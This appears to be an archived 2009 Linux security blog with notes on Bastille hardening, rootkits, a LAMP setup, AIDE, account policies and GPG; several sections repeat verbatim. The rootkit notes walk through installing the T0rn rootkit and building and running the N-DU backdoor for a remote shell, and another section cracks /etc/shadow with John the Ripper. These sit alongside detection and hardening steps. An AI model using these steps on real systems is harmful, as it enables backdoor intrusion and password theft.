Bastille Linux
This is a project containing various components to determine how secured our Linux servers are. It scans the system and reports how secured we are and provides the policies to help tightening the Linux system from various different componants such as user accounting, startup scripts, services that runs in system, TTYs . Other various components also considered when bastille Linux is installed in system, which can be checked while running the Bastille-Linux .
Installing the Bastille-Linux
Download source from Project Home.
Reference:
Project Home:
http://bastille-linux.sourceforge.net
http://www.bastille-unix.org/
Article:
http://www.linux.com/archive/feature/118353
# tar -xjvf Bastille-4.0.5.tar.bz2
# cd Bastile*
Note:-
Bastille uses perl and shell scripts to make changes to system.
The source contains various components that used to secure the system.
# ./install-sh
This installs the Bastille script to the system. This will keep the link of the binary to the path /usr/sbin.
# bastille -c
This will run the bastille in command mode. If any other dependencies are not fullfilled including the perl modules it will show the error while exicuting
So install the perl modules using CPAN.
# perl -MCPAN -e shell
(After initializing the cpan)
cpan> install $perl_module_name
# bastile -c
Now this will start the bastile in the curses interface (CLI).
Checking the current system security Level.
# bastille --assess
This will start the default browser with the Bastille Hardening Assessment Report in HTML page. So we have to run before configuring anything to get a mere picture that how secured our system is.
For eg :- RHEL fresh installation with latest patches Bastile gives Score about 7.25 out of 10.
So we can navigate through each and every items that the bastille has been scanned for.
Eg:- File permissions, Account Security, Boot Security, Daemons etc.
Hardening the system using Bastille.
# bastille -c
This will star the bastille script in curses based interface. It opens a dialogue box in which we can navigate through the various options(These options are having the same sequence to the options in the results in command bastille --assess).
General Options Available while running the Bastille
1. File permissions
This deals with the permission with the binaries such as traceroute, ping, ifconfig, mount, fsck that general user doesnt need to have the access. Usually these can be exicuted by the normal user.This removes the setuids that have been given for certain commands that makes the user to exicute the program
as root. It will also prompt to uninstall the rlogin or rsh ("r" programs) which leads the communication in clear text format.
2. AccountSecurity.
Here we can setup the account level security. This will disable the "r" programs. setup the default UMASK(0002) to more secure one. Allow or disallow root logins to consoles (TTY 1-6).Ask to password protect in single user mode. Secure inetd services etc.
3. ProcessAccounting
forke the cpu access or limit the system resource to given limit for non-root user.
4. MicellaneousDaemons.
It will ask to tune the other daemons in the system
5.Firewall
This will create the firewall rules to the system.
Now finish to start processing the system Harening. Now the system will be hardened according to the configurations that we have chosen.
Now its time to Re-assess the system security to verify the Bastille.
# bastille --assess
Now we can see the level of security has been increased.
The script is sellf explanatory and have to read through the explanation while running the script to explore more.
Reverting the chages performed by Bastille
# bastille -r
This will revert all the actions performed by the bastille.
/var/log/Bastille & /var/log/Bastillerevert/ will contain all the changed config files, backup of the original files that have changed and logs.
Friday, October 16, 2009
Wednesday, October 14, 2009
Linux Securirty Notes 12: Rootkits
RootKits - Security
RootKits are bundles of programs that are meant to exploit the existing programs on the system for the purpose of providing backdoor access to crackers . Inshort the rootkits will provide a back door access to cracker. RootKits can be installed by gaining the root access or by exploiting the vulnerability of any software to gain the access of privilege users
RootKits are installed in several ways.
Major Function of Rootkits once it installed in *nix box
T0rnkit is one of the "older RootKit" that can be used to manipulate some of the binaries and make the server to compromise and enables a backdoor access. So now we will have a hands on by installing a the T0RNROOTKIT.
T0rnkit
Installation:
Download it from www.geocities.com
# wget www.geocities.com/john_curst/tk.gz
# tar zxvf tk.gz
# cd tk
These folder contains modified binaries and the rootkit. The binaries are du, find, ifconfig, in.fingerd, login, ls, netstat, ps, pstree, top, ssh.tgz etc. These binaries have been modifies and the installation of the tornkit will replace all the original binaries with this altered binaries and makes the system accessible to third party via
backdoor.
# ./t0rn
This will replace all the binaries in this directory with the original binaries. The execution of this binary will echo the status of the binary replacement.
Now if we try executing any of the compromised binaries eg:- ls, top, pstree etc the exicuted binary can now open your system to the cracker with the respective privileges.
Detecting the RootKit
Step 1:
1. We have to take the md5sum for the prestige binaries in the system just after the installation to compare later on when the system is subjected to compramise.
Step 2:
2. The usage of AIDE tool can be used to detect the change in the binaries done by RootKit. (refer Linux Security Notes - AIDE). This will detect the changed binaries, newly added files and folders And the removed files. So from this we can make out what binaries has been changed. Manual check with the changed binaries and the configuration files will give the mere idea that where & which binaries has been invoked upon next reboot the bring back the rootkit process. This is the simple way for checking the binary files integrity in case of any rootkit installation.
Step 3:
3. Installing the rootkit checker
CHKROOTKIT is the common rootkit checking tool
Installtion & configuration of CHKROOTKIT
Dowmload chkrootkit, md5sum and signature from www.chkrootkit.org/download. Compare the keys. chkrootkit runs has a shell script with helper binaries.
# tar -zxcf chkrootkit-0.55
# cd chkrootkit-0.55
Here we have chkrootkit shell script. This script scans the appearence of any rrootkits. This chkrootkit shell script relies upon "ls" "ps" and "find" commands. So keep in mind that we will have a uncompramised binaries of the "ls" "ps" & "find". These binaries can either be reinstalled or can be copied from any of the other systems before exicuting the chkrootkit . The chrootkit scripts need some of the binaries to get a versatile result on scanning. These programs are included in the source package of chkrootkit.
We have to compile these binaries (helper programs) and make available to chkrootkit while scanning.
# make sense
This will compile all the 'C' programs and compiles the binary. This will yield some binaries which will be helping the chkrootkit script for scanning. These binaries can be exicuted intependandly for verifying the system.
Running the chkrootkit
#./chkrootkit OPTIONS TESTNAME
#./chkrootkit
This will check all the options and all the rules. This will start scanning all the files from the "/" of the directory and echos the out put in to the screen. The infected files will be denoted as INFECTED . And it will search for all the key rootkits that known to chkrootkit and echos too. Using this result of chkrootkit and comparing with the AIDE output taken prior to compramise we can change/reinstall the binaries effected by rootkits and the remove the files and folders created by rootkits.
OUTPUT:
For an uninfected file the out put will be:
Checking `amd'... not found
Checking `basename'... not infected
Checking `hdparm'... not infected
For an Infected file the output will be:
Checking `ifconfig'... INFECTED
Checking `login'... INFECTED
Now after cleaning up check the AIDE again to verify the file integrity. Run chkrootkit. Then use nmap and Nessus for checking any more ports are listening or still more vulnurability is there or not.
Notes:-
Types of rootkits
#./ifpromisc
Will check whether the interface is running in promiscuous mode.
#./chklastlog
checks the logfile for any manipulation.
#./chkproc
checks the trace for rootkits in the proc file system.
Consult the README file in the source code for more options on exicuting the chkrootkits.
Note:-
Always have a AIDE DB for reference.
N-DU ROOTKIT
This is a simple rootkit which provides the server and clinet components to set up a backdoor for cracker in server by connecting to it remotely using UDP protocol. It sets up the UDP listener port:1500 which makes difficult to trace out. This waits for specially-crafted packets generated by the N-DU client and when revieves it switches to TCP: Port specified by Cracker.
For testing we will download the N-DU rootkit now.
Download the N-DU rootkit from http://packetstormsecurity.nl/UNIX/penetration/rootkits/
(You will find a lot of penetration tools here in this website including various security tips. Here you can the majority of the rootkits which gives the cracker the backdoor entry)
Find the N-DU rootkit and download. We need the 'C' compiler installed to compile it.
# tar -zxvf nd-du.tgz
This will extract the source.
n-client.c (n-du client)
n-du.c (n-du server)
Makefile
are the files included in the source.
# make
This will yield 2 new binaries called n-du (server rootkit) and n-client (client rootkit).
The cracker will place the n-du binary in the server which he needs to be accessed through backdoor and exicutes it. Now he uses the n-client from outside the network to connect to the n-du server.
#./n-du
This will start the n-du rootkit in the daemon mode, starts the process and binds to the UDP port 1500. the user privilage relies upon the user which has exicuted the n-du daemon. for eg:- if the root user has been exicuted the n-du binary then the cracker if ne connects from outside using the n-client binary will gain the root shell access.
#netstat -tulpn
This will show now the port 1500 has been started listening.
Exicuting the n-client
Now in the client the cracker exicutes the n-client to access the remote server shell
# ./n-client host TCP-Port UDP-Port
Host=the remote host that n-du needs to be connected to
TCP Port = is the port that needs to be shifted once the connection is been established.
UDP Port = the udp port that the remote n-du is listening.
#./n-client remotehost 6666 1500
This will ask for the password. Now press enter with out any entry .This will gain you the remote system access with the user privilege that the n-du daemon runs.
Use nmap and netstat to trace out the unknown open port. Check the vulnerability using the Nessus. And always use the AIDE file integrity tool along with chkrootkit to find out the new files installed by any rootkits
RootKits are bundles of programs that are meant to exploit the existing programs on the system for the purpose of providing backdoor access to crackers . Inshort the rootkits will provide a back door access to cracker. RootKits can be installed by gaining the root access or by exploiting the vulnerability of any software to gain the access of privilege users
RootKits are installed in several ways.
- Using physical access. (Manipulating the grub and installing the rootkits in runlevel 1 & using any physical media like USB, CD-ROM etc)
- By getting the root/user password by sniffing/bruteforce attack and install the root kit.
Major Function of Rootkits once it installed in *nix box
- An attacker may use a rootkit to replace vital system executable, which might be altered to hide processes and files the attacker has installed, along with the presence of the rootkit.
- RootKits act to obscure their presence on the system through subversion or evasion of standard operating system security scan and surveillance mechanisms such as anti-virus or anti-spyware scan, this makes they are Trojans as well, thus fooling users into believing they are safe to run on their systems
- Rootkits may also install a "backdoor" in a system by replacing the login mechanism (such as /bin/login) with an executable that accepts a secret login combination, which, in turn, allows an attacker to access the system, regardless of the changes to the actual accounts on the system.
T0rnkit is one of the "older RootKit" that can be used to manipulate some of the binaries and make the server to compromise and enables a backdoor access. So now we will have a hands on by installing a the T0RNROOTKIT.
T0rnkit
Installation:
Download it from www.geocities.com
# wget www.geocities.com/john_curst/tk.gz
# tar zxvf tk.gz
# cd tk
These folder contains modified binaries and the rootkit. The binaries are du, find, ifconfig, in.fingerd, login, ls, netstat, ps, pstree, top, ssh.tgz etc. These binaries have been modifies and the installation of the tornkit will replace all the original binaries with this altered binaries and makes the system accessible to third party via
backdoor.
# ./t0rn
This will replace all the binaries in this directory with the original binaries. The execution of this binary will echo the status of the binary replacement.
Now if we try executing any of the compromised binaries eg:- ls, top, pstree etc the exicuted binary can now open your system to the cracker with the respective privileges.
Detecting the RootKit
Step 1:
1. We have to take the md5sum for the prestige binaries in the system just after the installation to compare later on when the system is subjected to compramise.
Step 2:
2. The usage of AIDE tool can be used to detect the change in the binaries done by RootKit. (refer Linux Security Notes - AIDE). This will detect the changed binaries, newly added files and folders And the removed files. So from this we can make out what binaries has been changed. Manual check with the changed binaries and the configuration files will give the mere idea that where & which binaries has been invoked upon next reboot the bring back the rootkit process. This is the simple way for checking the binary files integrity in case of any rootkit installation.
Step 3:
3. Installing the rootkit checker
CHKROOTKIT is the common rootkit checking tool
Installtion & configuration of CHKROOTKIT
Dowmload chkrootkit, md5sum and signature from www.chkrootkit.org/download. Compare the keys. chkrootkit runs has a shell script with helper binaries.
# tar -zxcf chkrootkit-0.55
# cd chkrootkit-0.55
Here we have chkrootkit shell script. This script scans the appearence of any rrootkits. This chkrootkit shell script relies upon "ls" "ps" and "find" commands. So keep in mind that we will have a uncompramised binaries of the "ls" "ps" & "find". These binaries can either be reinstalled or can be copied from any of the other systems before exicuting the chkrootkit . The chrootkit scripts need some of the binaries to get a versatile result on scanning. These programs are included in the source package of chkrootkit.
We have to compile these binaries (helper programs) and make available to chkrootkit while scanning.
# make sense
This will compile all the 'C' programs and compiles the binary. This will yield some binaries which will be helping the chkrootkit script for scanning. These binaries can be exicuted intependandly for verifying the system.
Running the chkrootkit
#./chkrootkit OPTIONS TESTNAME
#./chkrootkit
This will check all the options and all the rules. This will start scanning all the files from the "/" of the directory and echos the out put in to the screen. The infected files will be denoted as INFECTED . And it will search for all the key rootkits that known to chkrootkit and echos too. Using this result of chkrootkit and comparing with the AIDE output taken prior to compramise we can change/reinstall the binaries effected by rootkits and the remove the files and folders created by rootkits.
OUTPUT:
For an uninfected file the out put will be:
Checking `amd'... not found
Checking `basename'... not infected
Checking `hdparm'... not infected
For an Infected file the output will be:
Checking `ifconfig'... INFECTED
Checking `login'... INFECTED
Now after cleaning up check the AIDE again to verify the file integrity. Run chkrootkit. Then use nmap and Nessus for checking any more ports are listening or still more vulnurability is there or not.
Notes:-
Types of rootkits
- Will change the key binaries. This can be detect with AIDE/Chkrootkit.
- Runs as a kernel modules - LKM (Loadable Kernel Module) This can be also be detected by the AIDE/Chkrootkit. We can check this type of rootkits by comparing the modules prior and after the suspect of compramise using the # cat /proc/modules or lsmod
- Writes directly to /dev/kmem. It access directly the memmory area that applications that are using. And is very hard to trace out.
#./ifpromisc
Will check whether the interface is running in promiscuous mode.
#./chklastlog
checks the logfile for any manipulation.
#./chkproc
checks the trace for rootkits in the proc file system.
Consult the README file in the source code for more options on exicuting the chkrootkits.
Note:-
Always have a AIDE DB for reference.
N-DU ROOTKIT
This is a simple rootkit which provides the server and clinet components to set up a backdoor for cracker in server by connecting to it remotely using UDP protocol. It sets up the UDP listener port:1500 which makes difficult to trace out. This waits for specially-crafted packets generated by the N-DU client and when revieves it switches to TCP: Port specified by Cracker.
For testing we will download the N-DU rootkit now.
Download the N-DU rootkit from http://packetstormsecurity.nl/UNIX/penetration/rootkits/
(You will find a lot of penetration tools here in this website including various security tips. Here you can the majority of the rootkits which gives the cracker the backdoor entry)
Find the N-DU rootkit and download. We need the 'C' compiler installed to compile it.
# tar -zxvf nd-du.tgz
This will extract the source.
n-client.c (n-du client)
n-du.c (n-du server)
Makefile
are the files included in the source.
# make
This will yield 2 new binaries called n-du (server rootkit) and n-client (client rootkit).
The cracker will place the n-du binary in the server which he needs to be accessed through backdoor and exicutes it. Now he uses the n-client from outside the network to connect to the n-du server.
#./n-du
This will start the n-du rootkit in the daemon mode, starts the process and binds to the UDP port 1500. the user privilage relies upon the user which has exicuted the n-du daemon. for eg:- if the root user has been exicuted the n-du binary then the cracker if ne connects from outside using the n-client binary will gain the root shell access.
#netstat -tulpn
This will show now the port 1500 has been started listening.
Exicuting the n-client
Now in the client the cracker exicutes the n-client to access the remote server shell
# ./n-client host TCP-Port UDP-Port
Host=the remote host that n-du needs to be connected to
TCP Port = is the port that needs to be shifted once the connection is been established.
UDP Port = the udp port that the remote n-du is listening.
#./n-client remotehost 6666 1500
This will ask for the password. Now press enter with out any entry .This will gain you the remote system access with the user privilege that the n-du daemon runs.
Use nmap and netstat to trace out the unknown open port. Check the vulnerability using the Nessus. And always use the AIDE file integrity tool along with chkrootkit to find out the new files installed by any rootkits
LAMP Server For CentOS/RHEL
This tutorial shows a quick way of installing a LAMP server (Linux + Apache + MySQL + PHP/Perl together commonly known as LAMP Server.) on CentOS and RHEL server systems.
Install Apache Apache is the most popular Web HTTP server for a Linux servers.
Install MySQL Database Server MySQL is a widely used open source database server on most Linux servers and can very well integrate to PHP and Apache server on CentOS/RHEL.
If you attempt to type mysql in command prompt, you will be getting this nasty error.
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’
This is because you are not running the mysqld daemon before launching the mysql client. The file /var/lib/mysql/mysql.sock will be automatically created upon running the first instance of mysql.
To fix:
First start the mysql daemon, then type mysql:
Changing MySQL Root Password By default the root password is empty for the mysql database. It is a good idea to change the mysql root password to a new one from a security point of view.
To Create A New MySQL User
To create a new mysql user 'guest' with 'all privileges' on the database 'demo':
Install PHP5 Scripting Language
Installing PHP5 with the necessary modules is so easy and can be configured for both the Apache and mysql environment.
Restart Apache to load php.
That's it! You should see a php configuration file displaying all kind of paths and installed modules.
Closely observe the installed configuration on your server.
phpMyAdmin is a free web based MySQL database Administration Tool. Without phpMyAdmin it is almost impossible to mysql db operations in the command line. phpMyAdmin has become so convenient and it is absolutely sought by most webmasters to be present along with the mysql server.
Common Errors
You might encounter the following errors while configuring phpmyadmin.
Edit the /etc/httpd/conf.d/phpmyadmin.conf and uncomment the line deny from all.
Error
The configuration file now needs a secret passphrase (blowfish_secret)
To fix:
Log into the phpmyadmin with the mysql root password we changed while installing the mysql database.
- Apache Web Server 2.x
- MySQL Database Server 5.x
- PHP Scripting Language 5.x
- phpMyAdmin - Web based MySQL Administration Tool
Install Apache Apache is the most popular Web HTTP server for a Linux servers.
# yum install httpd httpd-devel
We might need the httpd-devel libraries to compile and install other modules from the sources, just to be on the safer side. /etc/httpd/conf/httpd.conf - Apache configuration file location.# /etc/init.d/httpd start
# yum install mysql mysql-server mysql-devel
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’
This is because you are not running the mysqld daemon before launching the mysql client. The file /var/lib/mysql/mysql.sock will be automatically created upon running the first instance of mysql.
To fix:
First start the mysql daemon, then type mysql:
# /etc/init.d/mysqld start
# mysql
# mysql
Changing MySQL Root Password By default the root password is empty for the mysql database. It is a good idea to change the mysql root password to a new one from a security point of view.
mysql> USE mysql;
mysql> UPDATE user SET Password=PASSWORD('newpassword') WHERE user='root';
mysql> FLUSH PRIVILEGES;
Once done, check by logging in:mysql> UPDATE user SET Password=PASSWORD('newpassword') WHERE user='root';
mysql> FLUSH PRIVILEGES;
mysql -u root -p
Enter Password:
Enter Password:
To Create A New MySQL User
To create a new mysql user 'guest' with 'all privileges' on the database 'demo':
mysql > create database demo
mysql >GRANT ALL PRIVILEGES ON demo.* TO 'guest'@'localhost' IDENTIFIED BY 'guest' WITH GRANT OPTION;
mysql> UPDATE user SET Password=PASSWORD('guest') WHERE user='guest';
That's it! MySQL is ready! Don't forget to remember the root password as we might be using it with phpmyadmin.mysql >GRANT ALL PRIVILEGES ON demo.* TO 'guest'@'localhost' IDENTIFIED BY 'guest' WITH GRANT OPTION;
mysql> UPDATE user SET Password=PASSWORD('guest') WHERE user='guest';
Install PHP5 Scripting Language
Installing PHP5 with the necessary modules is so easy and can be configured for both the Apache and mysql environment.
# yum install php php-mysql php-common php-gd php-mbstring php-mcrypt php-devel php-xml
Don't forget to install php-gd (gd library). It is very important if we plan to run captcha scripts on our server and so as other which are dependent on mysql and other functions.Restart Apache to load php.
# /etc/init.d/httpd restart
To Test If PHP Is Working Or Not:
Create a file named /var/www/html/test.php with the following phpinfo() function inside php quotes.To Test If PHP Is Working Or Not:
// test.php
phpinfo();
?>Then point your browser to http://ip.address/test.php.That's it! You should see a php configuration file displaying all kind of paths and installed modules.
Closely observe the installed configuration on your server.
- PHP Paths (php.ini path)
Apache paths and Loaded Modules (mod_security, mod_evasive if installed_
PHP GD Library
MySQL paths and other information
phpMyAdmin is a free web based MySQL database Administration Tool. Without phpMyAdmin it is almost impossible to mysql db operations in the command line. phpMyAdmin has become so convenient and it is absolutely sought by most webmasters to be present along with the mysql server.
# yum install phpmyadmin
Point your browser to: http://ip.address/phpmyadmin.Common Errors
You might encounter the following errors while configuring phpmyadmin.
Forbidden
You don't have permission to access /phpmyadmin/ on this server.
To fix:You don't have permission to access /phpmyadmin/ on this server.
Edit the /etc/httpd/conf.d/phpmyadmin.conf and uncomment the line deny from all.
# nano /etc/httpd/conf.d/phpmyadmin.conf
Order Deny,Allow # Deny from all Allow from 127.0.0.1
Error
The configuration file now needs a secret passphrase (blowfish_secret)
To fix:
# nano /usr/share/phpmyadmin/conf.inc.php
Look for a line and enter any password. Just dont leave it empty!$cfg['blowfish_secret'] = 'mydpassword'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */It worked for me using the above methods!
Log into the phpmyadmin with the mysql root password we changed while installing the mysql database.
Tuesday, October 13, 2009
Linux Securirty Notes 11: AIDE File integrity
AIDE
Advance Intrution Detection Enviornment is a tool to check the file integritty. It is a opensource substitute for TRIPWIRE. It allows to take snapshot of all the major configuration files, binaries as well libraries stats. And helps to find which binaries has been changed in case of compramisation of the system . This can be downloaded from http://sourceforge.net
Download both the binaries and signature file.
Import and Verify the GPG keys.
Compiling and installing the AIDE
Read the INSTALL doc in the source code of AIDE to get the requirement of the packages. The mhash utility is needed prior to the installation of the AIDE. Download the mhash utility that is needed for running the AIDE. Download it from sourceforge.net
Extract the packages AIDE & MHASH
installing the MHASH
# tar -zxvf mhash-0.9.2.tar.gz
# cd mhash-0.9.2
# ./configure
# make
# make install
this will place the binaries and libraries in to /usr/local
Installing the AIDE
# tar -zxvf aide-0.10.tar.gz
# cd aide-0.10
# ./configure
# make "this will create the aide binary"
# make install
will copy the binaries to /usr/local/bin.
note:-
Making note of the md5sum for the binary which has been installed is a good idea to trace out the man in middle attack .
Configuring and Monitoring the files with AIDE
Step 1.
Generate aide DB (creating the snapshot of file stats)
edit aide.conf configuration file from the aide-0.10/doc/ directory to define the rule that which directory has to be monitored.
------
# 3 type of line are there
# 1. variables
# 2. Macros
# 3. types of file, which includes the directories, to monitor.
database=file:/home/kiran/aide/aide.db (this will define the aide database store location)
#Now define here the aide rules
#This will monitor all the subdirectories beneath /etc/
/etc R
# check the defnition for R in the aide.conf file.
#=/etc/ R (Only etc directory will be moniotoerd)
------
Now create the aide DB.
# aide -c aide.conf --init
This will create a new database called aide.db.new. This command will scan all the files in the /etc/ directory and stores as a database called aide.db.new
Note:-
AIDE uses the stat command to get the details of the file including the permissions, inode, acess time modified time etc and will store in the aide.db file
Comparing the AIDE with the DB
# aide -c aide.conf --check
This will show the status of the current /etc/ subdirectory by comparing with the aide.db, the snap shot taken from the previos command.
Now test the AIDE Functionality.
#edit any file in /etc/ sub directory
now check again with the command
# aide -c aide.conf --check
This will show the change of the file from previos state.
Note:-
The aide --check has to be done in frequent. and if we found any changes verify it and again update the aide DB.
Updating the aide DB after checking the aide db
# aide -c aide.conf --update
This will reset the database to current status of the /etc/ subdirectories.
Including the more directories to monitor.
#edit aide.conf
-------------
/boot R
/bin R
/etc R
/lib R
/usr R
/install R
/sbin$ R #aide will not recurse in to the subdirectories
-------------
Other configuration options
-------
/ R
!/var # This will make to monitor all the directories inside the "/" and will exclude the /var directory.
-------
# aide -c aide.conf --init
This will generate a new DB for all the directories defined in the aide.conf.
Note:-
This will help us to trace out which file has been effected incase of any compramise happened to the system by comparission with the DB taken prior. Once we have the aide db created better to burn the aide binary config files and the aide db in to any read only medium. So this will increase the integrity of the aide DB.
#mkisofs -V Aide_DB`date +%F` -J -R -o aide.iso /Aide/directory
#cdrecord -v -eject aide.iso
Later incase of any suspect to exploit can load these binary, aide DB and config file for AIDE Audit.
Advance Intrution Detection Enviornment is a tool to check the file integritty. It is a opensource substitute for TRIPWIRE. It allows to take snapshot of all the major configuration files, binaries as well libraries stats. And helps to find which binaries has been changed in case of compramisation of the system . This can be downloaded from http://sourceforge.net
Download both the binaries and signature file.
Import and Verify the GPG keys.
Compiling and installing the AIDE
Read the INSTALL doc in the source code of AIDE to get the requirement of the packages. The mhash utility is needed prior to the installation of the AIDE. Download the mhash utility that is needed for running the AIDE. Download it from sourceforge.net
Extract the packages AIDE & MHASH
installing the MHASH
# tar -zxvf mhash-0.9.2.tar.gz
# cd mhash-0.9.2
# ./configure
# make
# make install
this will place the binaries and libraries in to /usr/local
Installing the AIDE
# tar -zxvf aide-0.10.tar.gz
# cd aide-0.10
# ./configure
# make "this will create the aide binary"
# make install
will copy the binaries to /usr/local/bin.
note:-
Making note of the md5sum for the binary which has been installed is a good idea to trace out the man in middle attack .
Configuring and Monitoring the files with AIDE
Step 1.
Generate aide DB (creating the snapshot of file stats)
edit aide.conf configuration file from the aide-0.10/doc/ directory to define the rule that which directory has to be monitored.
------
# 3 type of line are there
# 1. variables
# 2. Macros
# 3. types of file, which includes the directories, to monitor.
database=file:/home/kiran/aide/aide.db (this will define the aide database store location)
#Now define here the aide rules
#This will monitor all the subdirectories beneath /etc/
/etc R
# check the defnition for R in the aide.conf file.
#=/etc/ R (Only etc directory will be moniotoerd)
------
Now create the aide DB.
# aide -c aide.conf --init
This will create a new database called aide.db.new. This command will scan all the files in the /etc/ directory and stores as a database called aide.db.new
Note:-
AIDE uses the stat command to get the details of the file including the permissions, inode, acess time modified time etc and will store in the aide.db file
Comparing the AIDE with the DB
# aide -c aide.conf --check
This will show the status of the current /etc/ subdirectory by comparing with the aide.db, the snap shot taken from the previos command.
Now test the AIDE Functionality.
#edit any file in /etc/ sub directory
now check again with the command
# aide -c aide.conf --check
This will show the change of the file from previos state.
Note:-
The aide --check has to be done in frequent. and if we found any changes verify it and again update the aide DB.
Updating the aide DB after checking the aide db
# aide -c aide.conf --update
This will reset the database to current status of the /etc/ subdirectories.
Including the more directories to monitor.
#edit aide.conf
-------------
/boot R
/bin R
/etc R
/lib R
/usr R
/install R
/sbin$ R #aide will not recurse in to the subdirectories
-------------
Other configuration options
-------
/ R
!/var # This will make to monitor all the directories inside the "/" and will exclude the /var directory.
-------
# aide -c aide.conf --init
This will generate a new DB for all the directories defined in the aide.conf.
Note:-
This will help us to trace out which file has been effected incase of any compramise happened to the system by comparission with the DB taken prior. Once we have the aide db created better to burn the aide binary config files and the aide db in to any read only medium. So this will increase the integrity of the aide DB.
#mkisofs -V Aide_DB`date +%F` -J -R -o aide.iso /Aide/directory
#cdrecord -v -eject aide.iso
Later incase of any suspect to exploit can load these binary, aide DB and config file for AIDE Audit.
Monday, October 12, 2009
Linux Securirty Notes 10: Account Policies & Password Crack
CHAGE - Account policies.
/etc/passwd and /etc/shadow files are manipulated to configure the account policies. /etc/groups stores the information about the groups
/etc/passwd Format:
-------
root:x:0:0:root:/root:/bin/bash
#User ID: Refer password to Shadow File: User ID: Group ID: Comment: Home directory: SHELL.
------
This file has to be regularly checked for any root equivalent entry (any other users having the user id '0') in case of any suspected compromise to the system.
/etc/shadow Format:
root:$!*&^#*&J@*(&#JHJKgFU:13037:0:99999:7:::
This file contains the encrypted password and the password policies information.
CHAGE
Using this chage command we can alter the password policies.
Setting up the accound policies:
/etc/login.defs
This file defines the key variables that appiles to all users while creating the new users.This includes the following settings
Default Mail directory
Max password age days
Min Passsword held days
Password warining days etc
minimum and maximum user IDs and the option of creating the home directories etc.
After altering the file a new user created will be inheriting the new settings. Old users will retain their previous settings.
Now create a user and check the password policy using
# chage -l user
This will show the default account policy set.
If need to change the password policy upon per user basis can set password policy using chage.
#chage -m 3 user
this updates the calue of minimum days of password held to 3
#chage -M 45 -W 7 user
THis will change the value of Maximum password days to 45 and gives a Warining before 7 days of password expiration.
extract the usernames from the password file
# for i in `awk -F : {' print $1 '} /etc/passwd; do echo $i; done
awk runs as field separator and prints the field 1. and extracts the user names from the file /etc/passwd
John The Ripper Tool:
This is the password integritty checker as well password cracker. Download the tool and signature from www.openwall.com.
#gpg --import
# gpg --verify john-1.7.tar.sig john-1.7.tar.gz
# tar -zxvf john-1.7.tar.gz
# cd john-1.6
# make
This will return the list of system that this program can compiled on. So search for the file that has the similarities to our hardware.
eg :- "linux-x86-mmx-elf"
# make linux-x86-mmx-elf
Now the binary will be compiled
# cd run
In this file we will get the newly compiled binary named "john"
#./john -users:root,kiran,jithu /etc/shadow
If you have got a weak password in shadow it will echo the result of the password crack. including the alorithm used for encryption. This process result in creation of a file called john.pot which contains the encryption string and corressponding password.
#./john -show -users:root,kiran,jithu /etc/shadow
This will show the password cracked history (read from the file john.pot) in clear text format
kiran:kiran123:13037:3:45:7::: (the shadow file format)
The more difficult password the time taken by the tool and the utilization of CPU will be more. Even more length of password with out any combination of case sensitive will make more time to crack. So usage of the password having more than 7 characters of minimum length will make more time to crack the passwords
#./john /etc/shadow
This will crack all the users in the system.
/etc/passwd and /etc/shadow files are manipulated to configure the account policies. /etc/groups stores the information about the groups
/etc/passwd Format:
-------
root:x:0:0:root:/root:/bin/bash
#User ID: Refer password to Shadow File: User ID: Group ID: Comment: Home directory: SHELL.
------
This file has to be regularly checked for any root equivalent entry (any other users having the user id '0') in case of any suspected compromise to the system.
/etc/shadow Format:
root:$!*&^#*&J@*(&#JHJKgFU:13037:0:99999:7:::
This file contains the encrypted password and the password policies information.
CHAGE
Using this chage command we can alter the password policies.
Setting up the accound policies:
/etc/login.defs
This file defines the key variables that appiles to all users while creating the new users.This includes the following settings
Default Mail directory
Max password age days
Min Passsword held days
Password warining days etc
minimum and maximum user IDs and the option of creating the home directories etc.
After altering the file a new user created will be inheriting the new settings. Old users will retain their previous settings.
Now create a user and check the password policy using
# chage -l user
This will show the default account policy set.
If need to change the password policy upon per user basis can set password policy using chage.
#chage -m 3 user
this updates the calue of minimum days of password held to 3
#chage -M 45 -W 7 user
THis will change the value of Maximum password days to 45 and gives a Warining before 7 days of password expiration.
extract the usernames from the password file
# for i in `awk -F : {' print $1 '} /etc/passwd; do echo $i; done
awk runs as field separator and prints the field 1. and extracts the user names from the file /etc/passwd
John The Ripper Tool:
This is the password integritty checker as well password cracker. Download the tool and signature from www.openwall.com.
#gpg --import
# gpg --verify john-1.7.tar.sig john-1.7.tar.gz
# tar -zxvf john-1.7.tar.gz
# cd john-1.6
# make
This will return the list of system that this program can compiled on. So search for the file that has the similarities to our hardware.
eg :- "linux-x86-mmx-elf"
# make linux-x86-mmx-elf
Now the binary will be compiled
# cd run
In this file we will get the newly compiled binary named "john"
#./john -users:root,kiran,jithu /etc/shadow
If you have got a weak password in shadow it will echo the result of the password crack. including the alorithm used for encryption. This process result in creation of a file called john.pot which contains the encryption string and corressponding password.
#./john -show -users:root,kiran,jithu /etc/shadow
This will show the password cracked history (read from the file john.pot) in clear text format
kiran:kiran123:13037:3:45:7::: (the shadow file format)
The more difficult password the time taken by the tool and the utilization of CPU will be more. Even more length of password with out any combination of case sensitive will make more time to crack. So usage of the password having more than 7 characters of minimum length will make more time to crack the passwords
#./john /etc/shadow
This will crack all the users in the system.
Linux Securirty Notes 9: GPG Encryption
GPG
Gnu Privacy Gard is an open source of Pretty Good Privacy and 100% compatible with PGP.It based on PKI (Public key private key encryption). GPG encrypts data / mails etc.
Steps in Encrypting Data using the GPG
Step 1:
Genarate PKI pairs (Public/private Key)
# gpg --gen-key
This will Prompt for options like key strength and various other details and store the key inside ~/.gnupg/.
pubring.gpg and secring.gpg are the public and private keys respectively.
Now make note of the key finger print. This is used to matching the public keys.
# gpg --list-keys
This will show the keys that has been generated
# gpg --fingerprint
This will show the finger print for the keys.
Step 2:
Now we can encrypt the data using the private key
Encrypt the data:
# gpg --list-keys
This will list the keys
# gpg --encrypt -r kiran install.log
-r is used to define the public key ID also can use the user name(This reffers which key has to be used) and the install.log is the file that we are encrypting. As a result a new file will be created by the name install.log.gpg. Now if we cat the content of the file install.log.gpg now we can see that the file is been encrypted (This will use the compression as well so file size will be less than the original file).
Decrypt the data:
#gpg --decrypt install.log.gpg
Will decrypt the file and the STDOUT will be shown in the bash terminal.
# gpg -o install.log --decrypt install.log.gpg
This will decrypt to the file install.log
Encryption Decryption using the Armor
# gpg -e --armor -r kiran install.log
This will encrypt the data with armored (Neatly encrypts the data). Creates the file with the name install.log.asc
